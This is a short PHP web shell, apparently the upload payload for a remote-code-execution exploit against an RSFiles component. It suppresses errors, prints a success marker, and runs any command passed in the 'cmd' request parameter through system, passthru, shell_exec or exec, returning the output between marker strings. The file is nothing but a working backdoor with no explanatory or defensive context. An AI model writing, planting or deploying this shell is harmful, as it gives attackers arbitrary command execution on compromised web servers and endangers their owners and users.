<?php error_reporting(0);@set_time_limit(0);echo 'RSFILES_RCE_OK_X9Z';if(isset($_REQUEST['cmd'])){$c=$_REQUEST['cmd'];$o='';if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}elseif(function_exists('shell_exec')){$o=(string)@shell_exec($c);}elseif(function_exists('exec')){$r=[];@exec($c,$r);$o=implode("\n",$r);}echo 'RSFILES_OUT_START';echo $o;echo 'RSFILES_OUT_END';}?>